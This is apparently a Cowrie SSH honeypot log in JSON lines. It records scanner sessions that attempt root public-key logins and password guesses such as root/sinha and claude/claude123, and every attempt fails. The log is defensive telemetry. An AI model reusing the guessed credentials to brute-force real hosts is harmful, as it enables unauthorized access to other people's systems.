{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:21.704742Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:01:23:40:34:75:df:bb:38:e6:91:26:20:6c:60:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk4VwKnWt9KHwLvrFSH2rJkAPC/n86wB1/aHftsnG57YyuuuA6RKdEw5V+Am89TdXy1JIj7gzhKfWlcg9slN00v464bz+JlBf4C79SiBz8CbZv2JE/b516eBh+P6Q7gFXj4F2/xNFr8dG4cxn3VCr6YJXovdejAsR2Hv0N1sPa2kmdbgAFFwSvLjV9IWKFSFqXya3zHV7LGSJQ4/cClhNOBJNZo8i2VA/GjMqEhJwIoc0XmI2OSvvLCe4kVjwvMs81YD+RaReub1ZYP2dq8iI+YrZQNBIUm8R55Nlu9k48sKgUSq7NVgno5QWEUaBnzb8lrgcCcvzWCTdI4JvnyoVAzBCybd9OgU4USxdNUx37+uaZ2wNKUhkec72xJF9t/6wWhe4LnBWZJU5OeF3Bbf0GEUpKFinQLuR6+FhkLR9pVxGuivaWGiVvXQ9HMfEiU3Us8/bBzphmdqgDUX95AMOYlUJpQzslUeNRkv22SP0ebKEgZ8vLCnuqSzpAvZDOzG8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:01:23:40:34:75:df:bb:38:e6:91:26:20:6c:60:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.151835Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:01:23:40:34:75:df:bb:38:e6:91:26:20:6c:60:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDk4VwKnWt9KHwLvrFSH2rJkAPC/n86wB1/aHftsnG57YyuuuA6RKdEw5V+Am89TdXy1JIj7gzhKfWlcg9slN00v464bz+JlBf4C79SiBz8CbZv2JE/b516eBh+P6Q7gFXj4F2/xNFr8dG4cxn3VCr6YJXovdejAsR2Hv0N1sPa2kmdbgAFFwSvLjV9IWKFSFqXya3zHV7LGSJQ4/cClhNOBJNZo8i2VA/GjMqEhJwIoc0XmI2OSvvLCe4kVjwvMs81YD+RaReub1ZYP2dq8iI+YrZQNBIUm8R55Nlu9k48sKgUSq7NVgno5QWEUaBnzb8lrgcCcvzWCTdI4JvnyoVAzBCybd9OgU4USxdNUx37+uaZ2wNKUhkec72xJF9t/6wWhe4LnBWZJU5OeF3Bbf0GEUpKFinQLuR6+FhkLR9pVxGuivaWGiVvXQ9HMfEiU3Us8/bBzphmdqgDUX95AMOYlUJpQzslUeNRkv22SP0ebKEgZ8vLCnuqSzpAvZDOzG8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.155780Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:b8:fa:ac:20:9d:bb:2a:f9:dd:d0:b1:60:57:8c:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3vh5zmAoSRgGvBJZBno5fAFC0xFybfNz4gm5k/vHcDx33GPtjIYKHBkCyfpCjVWNwGcnPw06IFUUKjmq870JYeaTk0rkkBWRkWg/XekxniS5rWLFQvIiDLujK3nn4COj7JUn0OKuaRjGfCWSerB2hmOlqHRwdGFXsSw8RUUVHbE1CfvHpZ+vUj5LF6UxjzbE6cIwOUkTol/NZ/EcBcSYw9Og7UJiX5QkKX/z+/mOScR8mdZ8SxWib8stHWqLXkF4iFlj27SV43kmaWVbwwqk5OiPXz/Ui4OkZ5SOb2Zl59m6ushOjylg4tiiePQPARQyyjxNeywUXuLfHglDz1oQV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:b8:fa:ac:20:9d:bb:2a:f9:dd:d0:b1:60:57:8c:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.251205Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:b8:fa:ac:20:9d:bb:2a:f9:dd:d0:b1:60:57:8c:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3vh5zmAoSRgGvBJZBno5fAFC0xFybfNz4gm5k/vHcDx33GPtjIYKHBkCyfpCjVWNwGcnPw06IFUUKjmq870JYeaTk0rkkBWRkWg/XekxniS5rWLFQvIiDLujK3nn4COj7JUn0OKuaRjGfCWSerB2hmOlqHRwdGFXsSw8RUUVHbE1CfvHpZ+vUj5LF6UxjzbE6cIwOUkTol/NZ/EcBcSYw9Og7UJiX5QkKX/z+/mOScR8mdZ8SxWib8stHWqLXkF4iFlj27SV43kmaWVbwwqk5OiPXz/Ui4OkZ5SOb2Zl59m6ushOjylg4tiiePQPARQyyjxNeywUXuLfHglDz1oQV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.256301Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:ed:57:da:ee:2f:ac:5d:c7:1a:35:b1:e8:41:9b:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC93hU7819DPo5zOY7ZynXdTY483GUsFLTUohRFu+pdc9V9wCvqJAloi8FE++eOm9H7GvkMg91RvmkGpd0Zt92s/AFy9hMmYgiE3U9P4/+CS3qnpKAcNbl65+8Ri0pSSRHwFy1909H3T6zYcA4i57u+BwwfPlXhLOWDLf6ZyAg6HSW0PPJLhXyGIXysZr0vYx57zxKRPn4yi7RMyhDOIHzPw1ragKpqLZCvNGrH0FEt+POmK1SGjs5p7IU2qYiZmQ2EL8K6rwNlCEtfantKfxmDHtuhtQCAN25VAlU/RWUecY8tbzgQ0yOV2s9F3DHFhX6BSQhBPqS5MDkCHcQ+NghR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:ed:57:da:ee:2f:ac:5d:c7:1a:35:b1:e8:41:9b:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.351708Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:ed:57:da:ee:2f:ac:5d:c7:1a:35:b1:e8:41:9b:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC93hU7819DPo5zOY7ZynXdTY483GUsFLTUohRFu+pdc9V9wCvqJAloi8FE++eOm9H7GvkMg91RvmkGpd0Zt92s/AFy9hMmYgiE3U9P4/+CS3qnpKAcNbl65+8Ri0pSSRHwFy1909H3T6zYcA4i57u+BwwfPlXhLOWDLf6ZyAg6HSW0PPJLhXyGIXysZr0vYx57zxKRPn4yi7RMyhDOIHzPw1ragKpqLZCvNGrH0FEt+POmK1SGjs5p7IU2qYiZmQ2EL8K6rwNlCEtfantKfxmDHtuhtQCAN25VAlU/RWUecY8tbzgQ0yOV2s9F3DHFhX6BSQhBPqS5MDkCHcQ+NghR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.356706Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:32:6f:7a:65:1e:b0:3b:c6:4f:9d:88:bb:e8:cb:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtQxnRl+mEwNI2QkGuYf1KABhbbctnYiVTf7cyf4AStCbBbhd5QGrBI0nR3XFx6bI+uNKGPScl7vzkzUXN6qz/lSKJjV5eJRLFWWSKaA2f2aOFxniqrI0qTOdu+h/La8OdRe5qUO7foYZRhAg/onD7D5bpZ9Lf/CWPcB+AzQTQrjcIsv4icm89L1m0Ipp55vKgbBgi6CULsFUZdDRHzPmcDm2dEmbyhekZ8p7KSyf+a6ByNd/d5fJkfW4RaC78LXH67zUqdfwIJzj2Ly16+RhhwZwE63BmYzEQFonZvRyagNH01//WOil/dULJYSrppBNW1FrzNfnNUJyRgbOfAtzl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:32:6f:7a:65:1e:b0:3b:c6:4f:9d:88:bb:e8:cb:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.452383Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:32:6f:7a:65:1e:b0:3b:c6:4f:9d:88:bb:e8:cb:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtQxnRl+mEwNI2QkGuYf1KABhbbctnYiVTf7cyf4AStCbBbhd5QGrBI0nR3XFx6bI+uNKGPScl7vzkzUXN6qz/lSKJjV5eJRLFWWSKaA2f2aOFxniqrI0qTOdu+h/La8OdRe5qUO7foYZRhAg/onD7D5bpZ9Lf/CWPcB+AzQTQrjcIsv4icm89L1m0Ipp55vKgbBgi6CULsFUZdDRHzPmcDm2dEmbyhekZ8p7KSyf+a6ByNd/d5fJkfW4RaC78LXH67zUqdfwIJzj2Ly16+RhhwZwE63BmYzEQFonZvRyagNH01//WOil/dULJYSrppBNW1FrzNfnNUJyRgbOfAtzl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.456331Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:cc:d9:29:74:12:e2:52:0f:31:72:66:11:6a:f5:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5Du8IWGPYIZWIgOZqzanhI/wxAsADJGlclJjJlNe1jUI8lO5g+ArH8nSffPLonVlkeeb0kJr/aUz90+rC0y0Zls8w+CQB8kHP9GUqTGPgAHOJROdY/UY2gaKXSQ7faFGh6BukgfbO6CpNZp5ETOnxcHu+U3yhxI7sir5sdTmxBHrOlkiGCFXAz2OnQbQguASTHRrUo39JviGNtLjsocOTbrn6M4hyIUaJuadcBqqnYJpNZu8JDMpbG4PoiUZBZXmKmxiwDTYqTC5tmgXA92dVyFB7T+wIGfvMz5l89PyiZK9te4Q/rr0s5pLr1D16g37AVx0IGDFdQE2begA2mLLDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:cc:d9:29:74:12:e2:52:0f:31:72:66:11:6a:f5:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.554589Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:cc:d9:29:74:12:e2:52:0f:31:72:66:11:6a:f5:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5Du8IWGPYIZWIgOZqzanhI/wxAsADJGlclJjJlNe1jUI8lO5g+ArH8nSffPLonVlkeeb0kJr/aUz90+rC0y0Zls8w+CQB8kHP9GUqTGPgAHOJROdY/UY2gaKXSQ7faFGh6BukgfbO6CpNZp5ETOnxcHu+U3yhxI7sir5sdTmxBHrOlkiGCFXAz2OnQbQguASTHRrUo39JviGNtLjsocOTbrn6M4hyIUaJuadcBqqnYJpNZu8JDMpbG4PoiUZBZXmKmxiwDTYqTC5tmgXA92dVyFB7T+wIGfvMz5l89PyiZK9te4Q/rr0s5pLr1D16g37AVx0IGDFdQE2begA2mLLDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.558759Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:22.654021Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":58808,"dst_ip":"159.203.135.109","dst_port":22,"session":"59aebe755942","protocol":"ssh","message":"New connection: 72.17.34.38:58808 (159.203.135.109:22) [session: 59aebe755942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:36.282198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:36.287556Z","src_ip":"72.17.34.38","session":"59aebe755942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:36.323974Z","src_ip":"72.17.34.38","session":"59aebe755942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinha","message":"login attempt [root/sinha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:36.501713Z","src_ip":"72.17.34.38","session":"59aebe755942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:37.541464Z","src_ip":"72.17.34.38","session":"59aebe755942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":49266,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e49120ec8a5","protocol":"ssh","message":"New connection: 202.79.29.108:49266 (159.203.135.109:22) [session: 9e49120ec8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:56.124973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:56.135960Z","src_ip":"202.79.29.108","session":"9e49120ec8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:56.400772Z","src_ip":"202.79.29.108","session":"9e49120ec8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:57.494650Z","src_ip":"202.79.29.108","session":"9e49120ec8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:58.768431Z","src_ip":"202.79.29.108","session":"9e49120ec8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":43520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1af5fd63a9","protocol":"ssh","message":"New connection: 43.135.182.46:43520 (159.203.135.109:22) [session: ec1af5fd63a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:59.613969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:59.618579Z","src_ip":"43.135.182.46","session":"ec1af5fd63a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:59.687835Z","src_ip":"43.135.182.46","session":"ec1af5fd63a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678","message":"login attempt [root/12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:59.992887Z","src_ip":"43.135.182.46","session":"ec1af5fd63a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:01.064660Z","src_ip":"43.135.182.46","session":"ec1af5fd63a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":41460,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b3a818a150","protocol":"ssh","message":"New connection: 43.130.31.151:41460 (159.203.135.109:22) [session: e6b3a818a150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:04.628298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:04.635311Z","src_ip":"43.130.31.151","session":"e6b3a818a150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:04.706462Z","src_ip":"43.130.31.151","session":"e6b3a818a150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venkatesh","message":"login attempt [root/venkatesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:05.019373Z","src_ip":"43.130.31.151","session":"e6b3a818a150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:50:06.097936Z","src_ip":"43.130.31.151","session":"e6b3a818a150","protocol":"ssh"}
